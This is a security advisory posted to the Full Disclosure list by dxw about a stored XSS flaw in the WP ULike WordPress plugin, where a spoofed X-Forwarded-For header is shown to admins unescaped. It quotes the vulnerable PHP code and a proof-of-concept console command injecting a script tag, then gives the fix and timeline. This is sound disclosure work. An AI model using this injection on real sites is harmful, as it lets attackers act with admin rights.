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Date: Mon, 14 May 2018 18:01:07 +0000
From: dxw Security <harry@....com>
To: fulldisclosure@...lists.org
Subject: [FD] Stored XSS in WP ULike allows unauthorised users to do almost
	anything an admin can (WordPress plugin)

Details
================
Software: WP ULike
Version: 2.8.1,3.1
Homepage: https://wordpress.org/plugins/wp-ulike/
Advisory report: https://advisories.dxw.com/advisories/stored-xss-wp-ulike/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
Stored XSS in WP ULike allows unauthorised users to do almost anything an admin can

Vulnerability
================
The plugin’s default configuration (after pressing “Save Changes” on the settings page) allows unauthenticated users to “like” posts. It fetches the user’s IP like this:
        function wp_ulike_get_real_ip() {
                if (getenv(\'HTTP_CLIENT_IP\')) {
                        $ip = getenv(\'HTTP_CLIENT_IP\');
                } elseif (getenv(\'HTTP_X_FORWARDED_FOR\')) {
                        $ip = getenv(\'HTTP_X_FORWARDED_FOR\');
                } elseif (getenv(\'HTTP_X_FORWARDED\')) {
                        $ip = getenv(\'HTTP_X_FORWARDED\');
                } elseif (getenv(\'HTTP_FORWARDED_FOR\')) {
                        $ip = getenv(\'HTTP_FORWARDED_FOR\');
                } elseif (getenv(\'HTTP_FORWARDED\')) {
                        $ip = getenv(\'HTTP_FORWARDED\');
                } else {
                        $ip = $_SERVER[\'REMOTE_ADDR\'];
                }

                return $ip;
        }
This will be incorrect in many situations. The header (which could be an IP address, or it could be an arbitrary string provided by the user) is stored in the database. Then it’s displayed to the admin without being escaped.

Proof of concept
================

Enable the plugin
Visit /wp-admin/admin.php?page=wp-ulike-settings and press Save Settings
Sign out
Visit a post displaying a like button
Open the console
Paste and execute this: var d=document.querySelector(\'.wpulike-default a\').dataset;jQuery.ajax(\'/wp-admin/admin-ajax.php\', {method: \'POST\', headers: {\'X-Forwarded-For\': \'<script>alert(1)</script>\'},data: {action: \'wp_ulike_process\', id: d.ulikeId, status: d.ulikeStatus, type: d.ulikeType, nonce: d.ulikeNonce}})
Sign in
Visit /wp-admin/admin.php?page=wp-ulike-post-logs


Mitigations
================
Upgrade to version 3.2 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-18: Discovered
2018-04-16: Reported to plugin author via contact form
2018-04-23: Vendor reported fixed in 3.2 (first reply)



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
            


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